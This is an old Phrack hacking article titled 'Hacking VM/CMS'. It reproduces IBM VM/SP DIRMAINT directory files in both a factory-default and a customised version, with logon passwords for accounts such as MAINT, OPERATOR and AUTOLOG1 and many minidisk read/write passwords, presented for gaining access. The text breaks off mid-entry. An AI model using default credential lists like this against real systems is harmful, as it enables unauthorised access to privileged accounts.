                                ==Phrack Inc.==

                     Volume Three, Issue 30, File #4 of 12


                     /===================================\
                     |                                   |
                     |          Hacking VM/CMS           |
                     |                                   |
                     |                                   |
                     |              by Goe               |
                     |                                   |
                     \===================================/


This file written by Goe (my nickname).  Any comments or criticisms or
corrections are welcomed.  Anyone with a good knowledge can modify this.

The article's topic is the IBM VM/SP running CMS and using DIRMAINT.  I do not
know if it works in MVS/TSO or VSE.

The first table contains the original default IDs & passwords from IBM Corp.

The second table contains those default IDs & passwords that IBM customized for
its customer.

===============================================================================

***************************************************************
*  3380      SYSTEM DIRECTORY                                 *
***************************************************************
*                                                             *
*      The addresses 123, 124, and 125 are virtual ad-        *
*      dresses.  The address 123 is critical since it is      *
*      used in DMKSYS, the directory, and the service en-     *
*      vironments of the Interactive Productivity Facil-      *
*      ity.  Do not change this address.  If you still want   *
*      to change it, remember it must be changed in           *
*      DMKSYS, all service environments, the 'DIRECTORY'      *
*      statement below, and in the 'MDISK' statements         *
*      found under the userid  'MAINT'.                       *
*                                                             *
*      NOTE:  Remember these are only virtual addresses       *
*      not real addresses, so there is no need to change      *
*      them to match your hardware addresses.  More in-       *
*      formation is contained in the system Installation      *
*      Guide.                                                 *
*                                                             *
***************************************************************
*
DIRECTORY 123  3380  VMSRES
*
***************************************************************
*      3380  SYSTEM RESERVED AREAS (NOT FOR MINIDISKS)        *
***************************************************************
*
USER $ALLOC$  NOLOG
 MDISK A01 3380 000 001 VMSRES R
 MDISK B01 3380 000 001 VMPK01 R
 MDISK E01 3380 000 001 VMPK04 R
 MDISK F11 3380 000 001 PROFPK R
 MDISK F21 3380 000 001 SQLPK  R
*
USER $TEMP$   NOLOG
 MDISK A09 3380 272 228 VMSRES R
 MDISK D09 3380 277 258 VMPK01
*
USER $TDISK$ NOLOG
 MDISK A08 3380 585 091 VMSRES R
*
USER $CPNUC$ NOLOG
 MDISK A02 3380 001 005 VMSRES R
*
USER $DIRECT$ NOLOG
 MDISK A03 3380 500 002 VMSRES R
*
USER $SAVSYS$ NOLOG
 MDISK A04 3380 006 011 VMSRES R
 MDISK B04 3380 012 056 VMPK01 R
*
USER $SYSERR$ NOLOG
 MDISK A06 3380 019 002 VMSRES R
*
USER $SYSCKP$ NOLOG
 MDISK A05 3380 271 001 VMSRES R
*
USER $SYSWRM$ NOLOG
 MDISK A07 3380 017 002 VMSRES R
*
***************************************************************
*             SYSTEM RELATED USERIDS                          *
***************************************************************
*
USER AUTOLOG1 NOLOG 512K 1M ABCDEG
 ACCOUNT 2 SYSTEM
 IPL CMS PARM AUTOCR
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 19E 19E RR
 MDISK 191 3380 093 001 VMPK01 MR RAUTOLOG WAUTOLOG MAUTOLOG
*
USER CMSBATCH NOLOG 1M 2M G
 ACCOUNT 3 SYSTEM
 OPTION ACCT
 IPL CMS PARM AUTOCR
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 MDISK 195 3380 068 002 VMPK01 MR RBATCH   WBATCH   MBATCH
*
USER CMSUSER NOLOG 1M 3M G
 ACCOUNT 101 USER01
 IPL CMS
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 19E 19E RR
 MDISK 191 3380 089 003 VMPK01 MR RCMS     WCMS     MCMS
*
USER EREP NOLOG 768K 2M FG
 ACCOUNT EREP IBMCE
 IPL CMS
 CONSOLE 01F 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 19E 19E RR
 LINK MAINT 201 192 RR
 MDISK 191 3380 027 001 VMSRES WR READ     WRITE
*
USER GCS  NOLOG  5M 6M  G
 ACCOUNT GCS RECVM
 OPTION ECMODE DIAG98
 IPL GCS PARM AUTOLOG
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 595 595 RR
 LINK MAINT 59E 59E RR
 MDISK 191 3380 677 005 VMPK01 MR RGCS     WGCS     MGCS
*
USER IVPM1 NOLOG 3M   16M G
 ACCOUNT ACT4 IVPM1
 CONSOLE 009 3210
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 193 193 RR
 LINK MAINT 194 194 RR
 LINK MAINT 19D 19D RR
 MDISK 191 3380 883 001 VMSRES WR READ     WRITE
*
USER IVPM2 NOLOG  3M   4M G
 ACCOUNT ACT5 IVPM2
 CONSOLE 009 3210
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 193 193 RR
 LINK MAINT 194 194 RR
 LINK MAINT 19D 19D RR
 MDISK 191 3380 884 001 VMSRES WR READ     WRITE
*
USER MAINT CPCMS 16M 16M ABCDEFG
 ACCOUNT 1 SYSPROG
 OPTION ECMODE DIAG98
 IPL 190
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 MDISK 123 3380 000 885 VMSRES MW RSYSRES  WSYSRES  MSYSRES
 MDISK 124 3380 000 885 VMPK01 MW RSYSRES  WSYSRES  MSYSRES
 MDISK 127 3380 000 885 VMPK04 MW RSYSRES  WSYSRES  MSYSRES
 MDISK 129 3380 000 885 PROFPK MW RSYSRES  WSYSRES  MSYSRES
 MDISK 130 3380 000 885 SQLPK  MW RSYSRES  WSYSRES  MSYSRES
 MDISK 19D 3380 229 048 VMPK01 MW ALL      WMAINT   MMAINT
 MDISK 190 3380 502 037 VMSRES MW ALL      WMAINT   MMAINT
 MDISK 191 3380 144 010 VMSRES MW RMAINT   WMAINT   MMAINT
 MDISK 193 3380 117 027 VMSRES MW RMAINT   WMAINT   MMAINT
 MDISK 194 3380 044 027 VMSRES MW RMAINT   WMAINT   MMAINT
 MDISK 196 3380 028 016 VMSRES MW RMAINT   WMAINT   MMAINT
 MDISK 201 3380 767 023 VMSRES MW RMAINT   WMAINT   MMAINT
 MDISK 293 3380 790 027 VMSRES MW RCMSAUX  WCMSAUX  MCMSAUX
 MDISK 294 3380 862 021 VMSRES MW RCPAUX   WCPAUX   MCPAUX
 MDISK 295 3380 211 014 VMSRES MW RUSRMOD  WUSRMOD  MUSRMOD
 MDISK 296 3380 070 019 VMPK01 MW RCPAUX   WCPAUX   MCPAUX
 MDISK 319 3380 021 006 VMSRES MW ALL      WMAINT   MMAINT
 MDISK 393 3380 353 063 VMPK04 WR RMAINT   WMAINT
 MDISK 394 3380 416 076 VMPK04 WR RMAINT   WMAINT
 MDISK 396 3380 499 034 VMPK04 WR RMAINT   WMAINT
 MDISK 492 3380 664 011 VMPK01 MW RTSFOBJ  WTSFOBJ  MTSFOBJ
 MDISK 494 3380 864 011 VMPK01 MW RTSFAUX  WTSFAUX  MTSFAUX
 MDISK 496 3380 092 001 VMPK01 MW RIPCX    WIPCSX   MIPSX
 MDISK 497 3380 492 007 VMPK04 MW RMAINT   WMAINT
 MDISK 59E 3380 875 010 VMPK01 MW ALL      WMAINT   MMAINT
 MDISK 595 3380 682 031 VMPK01 MW RMAINT   WMAINT   MMAINT
 MDISK 596 3380 713 021 VMPK01 MW RGCSAUX  WGCSAUX  MGCSAUX
*
USER OLTSEP NOLOG 1M 1M FG
 ACCOUNT OLTSEP IBMCE
 OPTION REALTIMER ECMODE
 IPL 5FF
 CONSOLE 01F 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 19D 19D RR
 MDISK 5FF 3380 000 885 CEPACK MR READ     WRITE
*
USER OPERATNS NOLOG 1M  2M BCEG
 ACCOUNT 13 SYSPROG
 IPL CMS
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 19E 19E RR
 MDISK 191 3380 154 001 VMSRES MR RIPCS    WIPCS    MIPCS
 MDISK 193 3380 201 008 VMSRES MR RIPCS    WIPCS    MIPCS
*
USER OPERATOR OPERATOR  3M 16M ABCDEFG
 ACCOUNT 2 OPERATOR
 CONSOLE 009 3215 T MAINT
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 19E 19E RR
 MDISK 191 3380 209 002 VMSRES MR ROPER    WOPER    MOPER
*
USER SYSDUMP1 NOLOG 1M 1M BG
 ACCOUNT 16 SYSTEM
 IPL CMS
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 19E 19E RR
 MDISK 123 3380 000 885 VMSRES RR
 MDISK 124 3380 000 885 VMPK01 RR
 MDISK 127 3380 000 885 VMPK04 RR
 MDISK 129 3380 000 885 PROFPK RR
 MDISK 130 3380 000 885 SQLPK  RR
*
USER TSAFVM NOLOG 4M 8M G
 ACCOUNT 1 xxxxxx
 OPTION MAXCONN 256 BMX ECMODE COMSRV ACCT CONCEAL REALTIMER
 IUCV ALLOW
 IUCV *CRM
 IPL CMS PARM AUTOCR
 CONSOLE 009 3215 A OPERATOR
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 19E 19E RR
 LINK MAINT 492 192 RR
 LINK MAINT 494 494 RR
 MDISK 191 3380 675 002 VMPK01 MR
DEDICATE 300 4A0
*

===============================================================================

***************************************************************
*  3380      SYSTEM DIRECTORY                                 *
***************************************************************
*                                                             *
*      The virtual address 123 is critical since it is        *
*      used in DMKSYS, the directory, and the service en-     *
*      vironments of the Interactive Productivity Facil-      *
*      ity.  Do not change this address.  If you still want   *
*      to change it, remember it must be changed in           *
*      DMKSYS, all service environments, the 'DIRECTORY'      *
*      statement below, and in the 'MDISK' statements         *
*      found under the userid  'MAINT'.                       *
*                                                             *
*      NOTE:  Remember these are only virtual addresses       *
*      not real addresses, so there is no need to change      *
*      them to match your hardware addresses.  More in-       *
*      formation is contained in the system Installation      *
*      Guide.                                                 *
*                                                             *
***************************************************************
*
DIRECTORY 123 3380 VMSRES
*
***************************************************************
*    EXPRESS STANDARD PROFILE FOR GENERAL PURPOSE USERIDS     *
***************************************************************
*
PROFILE EXPPROF
 IPL CMS PARM AUTOCR
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 19E 19E RR
*
***************************************************************
*      3380  SYSTEM RESERVED AREAS (NOT FOR MINIDISKS)        *
***************************************************************
*
USER $ALLOC$  NOLOG
 MDISK A01 3380 000 001 VMSRES R                                       03131808
 MDISK A02 3380 000 001 VMGCS1 R                                       03131808
 MDISK A05 3380 000 001 VMPK01 R                                       03131808
 MDISK A06 3380 000 001 VMSTGE R                                       03131808
 MDISK A07 3380 000 001 PROFPK R                                       03131808
 MDISK A08 3380 000 001 SQLPK  R                                       03131808
 MDISK A09 3380 000 001 VMPK02 R                                       03131808
 MDISK A0A 3380 000 001 EDMD01 R                                       03131808
*
USER $TEMP$   NOLOG
 MDISK B01 3380 392 100 VMSRES R                                       03131808
 MDISK B02 3380 392 100 VMPK01 R                                       03131808
*
USER $TDISK$ NOLOG
 MDISK C01 3380 358 033 VMSRES R                                       03131808
 MDISK C02 3380 492 022 VMPK01 R                                       03131808
*
USER $CPNUC$ NOLOG
 MDISK D01 3380 001 005 VMSRES R                                       03131808
*
USER $DIRECT$ NOLOG
 MDISK E01 3380 492 002 VMSRES R                                       03131808
*
USER $SAVSYS$ NOLOG
 MDISK F01 3380 006 011 VMSRES R                                       03131808
 MDISK F02 3380 012 060 VMPK01 R                                       03131808
*
USER $SYSERR$ NOLOG
 MDISK F03 3380 019 002 VMSRES R                                       03131808
*
USER $SYSCKP$ NOLOG
 MDISK F04 3380 391 001 VMSRES R                                       03131808
*
USER $SYSWRM$ NOLOG
 MDISK F05 3380 017 002 VMSRES R                                       03131808
*
***************************************************************
*             SYSTEM RELATED USERIDS                          *
***************************************************************
*
USER AUTOLOG1 AUTOLOG1 512K 1M ABCDEG
INCLUDE EXPPROF
 ACCOUNT 2 SYSTEM
 MDISK 191 3380 094 001 VMPK01 MR RAUTOLOG WAUTOLOG MAUTOLOG           03131808
*
USER CMSBATCH CMSBATCH 1M 2M G
 ACCOUNT 3 SYSTEM
 OPTION ACCT
 IPL CMS PARM AUTOCR
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 MDISK 195 3380 095 002 VMPK01 MR RBATCH   WBATCH   MBATCH             03131808
*
USER CMSUSER CMSUSER 1M 3M G
INCLUDE EXPPROF
 ACCOUNT 101 USER01
 MDISK 191 3380 091 003 VMPK01 MR RCMS     WCMS     MCMS               03131808
*
USER EREP EREP 768K 2M FG
INCLUDE EXPPROF
 ACCOUNT EREP IBMCE
 LINK MAINT 201 192 RR
 MDISK 191 3380 021 001 VMSRES WR READ     WRITE                       03131808
*
USER GCS  GCS  5M 6M  G
 ACCOUNT GCS RECVM
 OPTION ECMODE DIAG98
 IPL GCS PARM AUTOLOG
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 595 595 RR
 LINK MAINT 59E 59E RR
 MDISK 191 3380 514 005 VMPK01 MR RGCS     WGCS     MGCS               03131808
*
USER IVPM1 IVPM1 3M   16M G
 ACCOUNT ACT4 IVPM1
 CONSOLE 009 3210
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 193 193 RR
 LINK MAINT 194 194 RR
 LINK MAINT 19D 19D RR
 MDISK 191 3380 868 001 VMSRES WR READ     WRITE                       03131808
*
USER IVPM2 IVPM2  3M   4M G
 ACCOUNT ACT5 IVPM2
 CONSOLE 009 3210
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 193 193 RR
 LINK MAINT 194 194 RR
 LINK MAINT 19D 19D RR
 MDISK 191 3380 869 001 VMSRES WR READ     WRITE                       03131808
*
USER MAINT CPCMS 6M 16M ABCDEFG
 ACCOUNT 1 SYSPROG
 OPTION ECMODE DIAG98
 IPL CMS
 IUCV *CCS P M 10
 IUCV ANY P M 0
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
*
 MDISK 123 3380 000 885 VMSRES MW RSYSRES  WSYSRES  MSYSRES            03131808
 MDISK 124 3380 000 885 VMPK01 MW RSYSRES  WSYSRES  MSYSRES            03131808
 MDISK 126 3380 000 885 VMSTGE MW RSYSRES  WSYSRES  MSYSRES            03131808
 MDISK 127 3380 000 885 VMGCS1 MW RSYSRES  WSYSRES  MSYSRES            03131808
 MDISK 129 3380 000 885 PROFPK MW RSYSRES  WSYSRES  MSYSRES            03131808
 MDISK 130 3380 000 885 SQLPK  MW RSYSRES  WSYSRES  MSYSRES            03131808
 MDISK 131 3380 000 885 VMPK02 MW RSYSRES  WSYSRES  MSYSRES            03131808
*
* 19D - Help files
* 39D - Help files for NLS
* 19E - CMS extension disk. Most program products go here
* 190 - CMS nucleus and commands
* 191 - MAINT work disk and system dependent files
* 193 - CMS text / IPCS text / GCS interface texts
* 194 - CP text files and Maclibs
* 196 - HPO text files and Maclibs
* 201 - EREP files
* 293 - Aux and update files for CMS service
* 294 - Aux and update files for CP service
* 295 - CP/CMS EXPRESS/local service
* 296 - HPO aux and update files for service
* 3A0 - IPF online documentation
* 300 - VM/IPF system support, administration and operation dialogs
* 301 - IPF VM/VSE feature files
* 31A - Customer procedures and products not from VM/EXPRESS
* 310 - Maclibs for VM/IPF
* 319 - Some optional Program Products
* 393 - CMS source
* 394 - CP SOURCE
* 396 - HPO source
* 492 - TSAF
* 494 - TSAF
* 496 - IPCS service files
* 497 - IPCS source files
* 59E - GCS System disk extension
* 595 - GCS object code
* 596 - GCS service files
*
 MDISK 19D 3380 308 025 VMSRES MW ALL      WMAINT   MMAINT             03131808
 MDISK 39D 3380 333 025 VMSRES MW ALL      WMAINT   MMAINT             03131808
 MDISK 19E 3380 245 147 VMPK01 MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 190 3380 494 037 VMSRES MW ALL      WMAINT   MMAINT             03131808
 MDISK 191 3380 088 010 VMSRES MW RMAINT   WMAINT   MMAINT             03131808
 MDISK 193 3380 061 027 VMSRES MW RMAINT   WMAINT   MMAINT             03131808
 MDISK 194 3380 022 027 VMSRES MW RMAINT   WMAINT   MMAINT             03131808
 MDISK 196 3380 684 016 VMSRES MW RMAINT   WMAINT   MMAINT             03131808
 MDISK 201 3380 567 023 VMSRES MW RMAINT   WMAINT   MMAINT             03131808
 MDISK 293 3380 590 027 VMSRES MW RCMSAUX  WCMSAUX  MCMSAUX            03131808
 MDISK 294 3380 663 021 VMSRES MW RCPAUX   WCPAUX   MCPAUX             03131808
 MDISK 295 3380 531 014 VMSRES MW RUSRMOD  WUSRMOD  MUSRMOD            03131808
 MDISK 296 3380 072 019 VMPK01 MW RCPAUX   WCPAUX   MCPAUX             03131808
 MDISK 3A0 3380 128 001 VMPK01 MR ALL      WMAINT   MMAINT             03131808
 MDISK 300 3380 097 015 VMPK01 MR ALL      WMAINT   MMAINT             03131808
*MDISK 301 3380 001 049 EDMD01 MW ALL      WMAINT   MMAINT             03131808
 MDISK 31A 3380 870 003 VMSRES MW ALL      WMAINT   MMAINT             03131808
 MDISK 310 3380 112 016 VMPK01 MR ALL      WMAINT   MMAINT             03131808
 MDISK 319 3380 617 015 VMSRES MW ALL      WMAINT   MMAINT             03131808
 MDISK 393 3380 001 063 VMSTGE WR RMAINT   WMAINT                      03131808
 MDISK 394 3380 064 076 VMSTGE WR RMAINT   WMAINT                      03131808
 MDISK 396 3380 147 034 VMSTGE WR RMAINT   WMAINT                      03131808
 MDISK 492 3380 195 011 VMPK01 MW RTSFOBJ  WTSFOBJ  MTSFOBJ            03131808
 MDISK 494 3380 721 011 VMSRES MW RTSFAUX  WTSFAUX  MTSFAUX            03131808
 MDISK 496 3380 782 001 VMPK01 MW RIPCX    WIPCSX   MIPSX              03131808
 MDISK 497 3380 140 007 VMSTGE MW RMAINT   WMAINT                      03131808
 MDISK 59E 3380 181 010 VMPK01 MW ALL      WMAINT   MMAINT             03131808
 MDISK 595 3380 214 031 VMPK01 MW RMAINT   WMAINT   MMAINT             03131808
 MDISK 596 3380 700 021 VMSRES MW RGCSAUX  WGCSAUX  MGCSAUX            03131808
*
* 29E - 5748-RC1 (PVM) - 5748-XP1 (RSCS V1) - Update files
* 36E - 5748-RC1 PVM 191 disk
* 39E - 5748-RC1 (PVM) - 5748-XP1 (RSCS V1) - Source files
* 49E - 5748-RC1 (PVM) - 5748-XP1 (RSCS V1) - Text files
*
 MDISK 29E 3380 785 007 VMPK01 MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 36E 3380 563 004 VMSRES RR RMAINT   WMAINT   MMAINT             03131808
 MDISK 39E 3380 181 045 VMSTGE WR RMAINT   WMAINT                      03131808
 MDISK 49E 3380 792 007 VMPK01 MR RMAINT   WMAINT   MMAINT             03131808
*
* 348 - EP - ACF/NCP - NETVIEW - ACF/VTAM - ACF/SSP (VMFPARM DISK)
*
 MDISK 348 3380 001 002 VMGCS1 MR RMAINT   WMAINT   MMAINT             03131808
*
* 298 - 5664-280 VTAM 191
* 299 - 5664-280 VTAM Base disk
* 29A - 5664-280 VTAM Run disk
* 29B - 5664-280 VTAM Merge disk
* 29C - 5664-280 VTAM Zap disk
* 29D - 5664-280 VTAM Delta disk
*
 MDISK 298 3380 005 009 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 299 3380 200 024 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 29A 3380 156 010 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 29B 3380 224 020 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 29C 3380 244 005 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 29D 3380 860 020 VMGCS1 MR RMAINT   WMAINT   MMAINT             03131808
*
* 33F - 5664-289 ACF/SSP Base disk
* 340 - 5664-289 ACF/SSP Delta disk
* 341 - 5664-289 ACF/SSP Merge disk
* 342 - 5664-289 ACF/SSP Zap disk
* 343 - 5664-289 ACF/SSP Run disk
*
 MDISK 33F 3380 687 048 VMGCS1 MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 340 3380 830 010 VMGCS1 MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 341 3380 840 020 VMGCS1 MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 342 3380 249 010 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 343 3380 110 046 VMGCS1 MR RMAINT   WMAINT   MMAINT             03131808
*
* 352 - 5735-XXB (EP) - 5668-854 (ACF/NCP) Base disk
* 353 - 5735-XXB (EP) - 5668-854 (ACF/NCP) Delta disk
* 354 - 5735-XXB (EP) - 5668-854 (ACF/NCP) Merge disk
* 355 - 5735-XXB (EP) - 5668-854 (ACF/NCP) Run disk
* 356 - 5735-XXB (EP) - 5668-854 (ACF/NCP) Zap disk
*
 MDISK 352 3380 259 066 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 353 3380 325 010 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 354 3380 335 020 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 355 3380 355 088 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 356 3380 443 010 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
*
* 349 - 5735-XXB (EP) - 5668-754 (ACF/NCP subset for 3720) VMFPARM DISK
* 357 - 5735-XXB (EP) - 5668-754 (ACF/NCP subset for 3720) Base disk
* 358 - 5735-XXB (EP) - 5668-754 (ACF/NCP subset for 3720) Delta disk
* 359 - 5735-XXB (EP) - 5668-754 (ACF/NCP subset for 3720) Merge disk
* 35A - 5735-XXB (EP) - 5668-754 (ACF/NCP subset for 3720) Zap disk
* 35B - 5735-XXB (EP) - 5668-754 (ACF/NCP subset for 3720) Run disk
*
 MDISK 349 3380 003 002 VMGCS1 MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 357 3380 453 066 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 358 3380 519 010 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 359 3380 529 020 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 35A 3380 637 010 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 35B 3380 549 088 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
*
* 330 - 5664-204 NETVIEW Base disk
* 331 - 5664-204 NETVIEW Delta disk
* 332 - 5664-204 NETVIEW Merge disk
* 333 - 5664-204 NETVIEW Zap disk
* 334 - 5664-204 NETVIEW Run disk
*
 MDISK 330 3380 735 095 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 331 3380 647 010 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 332 3380 657 020 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 333 3380 677 010 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
 MDISK 334 3380 014 096 VMGCS1 WR RMAINT   WMAINT   MMAINT             03131808
*
* 29F - 5664-188 RSCSV2 Update files
* 39F - 5664-188 RSCSV2 User exits disk
* 49F - 5664-188 RSCSV2 Text disk
* 59F - 5664-188 RSCSV2 191 disk
*
 MDISK 29F 3380 129 004 VMPK01 MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 39F 3380 799 004 VMPK01 MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 49F 3380 803 010 VMPK01 MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 59F 3380 208 006 VMPK01 MR RMAINT   WMAINT   MMAINT             03131808
*
* 322 - 5664-283 VM/IS
* 326 - 5664-283 VM/IS
* 34A - 5668-905 Graphical Display and Query Facility (GDQF)
* 346 - 5668-AAA Query Management Facility (QMF)
* 347 - 5668-AAA Query Management Facility (QMF)
* 360 - 5664-329 Contextual File Search (CFSearch/370)
* 361 - 5664-370 Display Write/370
* 363 - 5668-890 Font Library Service Facility (FLSF)
*
 MDISK 322 3380 734 007 VMPK01 MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 326 3380 166 010 VMPK01 MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 34A 3380 164 052 VMSRES MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 346 3380 207 013 SQLPK  MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 347 3380 220 023 SQLPK  MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 360 3380 216 040 VMSRES MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 361 3380 768 027 VMSRES MR RMAINT   WMAINT   MMAINT             03131808
 MDISK 363 3380 795 009 VMSRES MR RMAINT   WMAINT   MMAINT             03131808
*
USER OPERATNS OPERATNS 1M  2M BCEG
INCLUDE EXPPROF
 ACCOUNT 13 SYSPROG
 LINK MAINT 300 300 RR
 LINK MAINT 193 192 RR
 MDISK 191 3380 547 001 VMSRES MR RIPCS    WIPCS    MIPCS              03131808
 MDISK 193 3380 256 008 VMSRES MR RIPCS    WIPCS    MIPCS              03131808
*
USER OPERATOR OPERATOR  3M 16M ABCDEFG
 ACCOUNT 2 OPERATOR
 IPL CMS PARM AUTOCR
 CONSOLE 009 3215 T MAINT
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 19E 19E RR
 LINK MAINT 300 300 RR
 MDISK 191 3380 545 002 VMSRES MR ROPER    WOPER    MOPER              03131808
*
USER SYSDUMP1 SYSDUMP1 1M 1M BG
INCLUDE EXPPROF
 ACCOUNT 16 SYSTEM
 LINK MAINT 300 300 RR
 MDISK 123 3380 000 885 VMSRES RR                                      03131808
 MDISK 124 3380 000 885 VMPK01 RR                                      03131808
 MDISK 126 3380 000 885 VMSTGE RR                                      03131808
 MDISK 127 3380 000 885 VMGCS1 RR                                      03131808
 MDISK 129 3380 000 885 PROFPK RR                                      03131808
 MDISK 130 3380 000 885 SQLPK  RR                                      03131808
 MDISK 131 3380 000 885 VMPK02 RR                                      03131808
 MDISK 191 3380 133 001 VMPK01 MR RSYSDUMP WSYSDUMP MSYSDUMP           03131808
*
USER TSAFVM TSAFVM 4M 8M G
 ACCOUNT 1 XXXXXX
 OPTION MAXCONN 256 BMX ECMODE COMSRV ACCT CONCEAL REALTIMER
 IUCV ALLOW
 IUCV *CRM
 IPL CMS PARM AUTOCR
 CONSOLE 009 3215 A OPERATOR
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 19E 19E RR
 LINK MAINT 492 192 RR
 LINK MAINT 494 494 RR
*DEDICATE 300 4A0
 MDISK 191 3380 206 002 VMPK01 MR                                      03131808
*
USER VSEMAINT VSEMAINT 1M 4M BG
INCLUDE EXPPROF
 ACCOUNT 211 DOSSYS
 LINK MAINT 300 300 RR
*LINK MAINT 301 301 RR
 MDISK 191 3380 632 004 VMSRES MR RVSEMAIN WVSEMAIN MVSEMAIN           03131808
*
USER VSEIPO VSEIPO  16M 16M G
*
* SAMPLE USERID TO RUN VSE/EXPRESS/IPO
*
 ACCOUNT 203 VSEIPO
 IPL 224
*OPTION ECMODE BMX REALTIMER VIRT=REAL MAXCONN 050 STF  370E
 OPTION ECMODE BMX REALTIMER  MAXCONN 050
 IUCV *CCS PRIORITY MSGLIMIT 050
 CONSOLE 01F 3270
 SPECIAL 401 3270
 SPECIAL 402 3270
 SPECIAL 403 3270
 SPECIAL 404 3270
 SPECIAL 405 3270
 SPECIAL 406 3270
 SPECIAL 407 3270
 SPECIAL 408 3270
 SPECIAL 409 3270
 SPECIAL 40A 3270
 SPECIAL 40B 3270
 SPECIAL 40C 3270
 SPECIAL 40D 3270
 SPECIAL 40E 3270
 SPECIAL 40F 3270
 SPECIAL 410 3270
 SPECIAL 411 3270
 SPECIAL 412 3270
 SPECIAL 413 3270
 SPECIAL 414 3270
 SPECIAL 415 3270
